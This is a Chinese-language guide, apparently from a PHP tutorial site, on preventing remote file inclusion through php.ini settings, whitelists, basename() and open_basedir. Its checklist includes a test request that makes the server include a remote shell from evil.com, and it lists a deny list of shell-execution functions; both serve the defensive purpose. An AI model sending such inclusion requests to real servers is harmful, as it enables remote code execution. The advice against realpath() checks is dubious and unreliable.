php远程文件包含(rfi)漏洞的核心风险是攻击者通过include/require加载并执行远程恶意脚本,封堵关键在于切断“用户输入→远程协议→代码执行”链路,首要措施是php.ini中设置allow_url_include=off并重启服务,同时辅以白名单校验、路径规范化及open_basedir等纵深防御。

PHP 远程文件包含(RFI)漏洞的核心风险在于:攻击者能通过 include 或 require 类函数,加载并执行远程服务器上的恶意脚本。封堵的关键不是“拦住某一行代码”,而是切断“用户输入 → 远程协议 → 代码执行”这条链路。最有效、最直接的手段是禁用 PHP 的远程加载能力,并辅以代码层约束。
关闭 allow_url_include 配置项
这是封堵 RFI 的第一道、也是最关键的防线。只要这个选项为 Off,PHP 就无法通过 include 等函数加载 http://、https://、ftp:// 等远程 URL。
- 在
php.ini中设置:allow_url_include = Off - 同时建议一并关闭:allow_url_fopen = Off(虽不直接影响 include,但可防止其他远程读取类漏洞)
- 修改后必须重启 Web 服务(如 Apache 或 PHP-FPM)才能生效
- 可通过
phpinfo()页面或ini_get('allow_url_include')检查是否已生效
禁止危险协议与远程路径拼接
即使 allow_url_include 已关,也不能放松对参数本身的校验——因为攻击者可能尝试绕过、或利用遗留逻辑拼接出非法路径。
- 绝对不要将
$_GET、$_POST、$_REQUEST等用户输入直接传给include或require - 如果必须动态加载,只允许从预设白名单中选择:
$pages = ['home', 'about', 'contact']; if (in_array($_GET['page'], $pages)) { include($_GET['page'] . '.php'); } - 对路径参数强制使用
basename()去除目录遍历部分,再拼接固定目录前缀,例如:include('./templates/' . basename($_GET['tpl']) . '.php'); - 避免使用
realpath()后再判断路径是否在白名单目录内——某些符号链接或竞态条件可能导致绕过
检查并加固运行环境
很多 RFI 漏洞表面看是代码问题,实则暴露的是服务器配置松散或部署不规范。
- 确认生产环境未启用开发模式(如 Xdebug、display_errors=On),防止错误信息泄露路径结构
- 限制 PHP 脚本可访问范围:
open_basedir设置为应用根目录,阻止跨目录读写 - 禁用高危函数(可选加强项):
disable_functions = "curl_exec,curl_multi_exec,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec" - Web 服务器(如 Nginx/Apache)层面,可配置规则拦截含
http://、https://、data://、php://等协议的请求参数(作为 WAF 补充,不能替代代码和配置加固)
上线前加一道安全检查清单
人工审计比依赖工具更可靠,尤其对老项目或外包代码。
- 全局搜索
include(、require(、include_once(、require_once(),检查所有参数是否来自用户输入
- 确认每个动态包含点都满足:有白名单 / 有 basename 处理 / 有固定路径前缀 / 无协议拼接
- 验证 php.ini 中
allow_url_include 在所有运行环境中均为 <code>Off(注意 CLI 和 Web SAPI 可能使用不同配置) - 测试用
?file=http://evil.com/shell.txt访问,应返回警告或 500 错误,而非成功包含
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











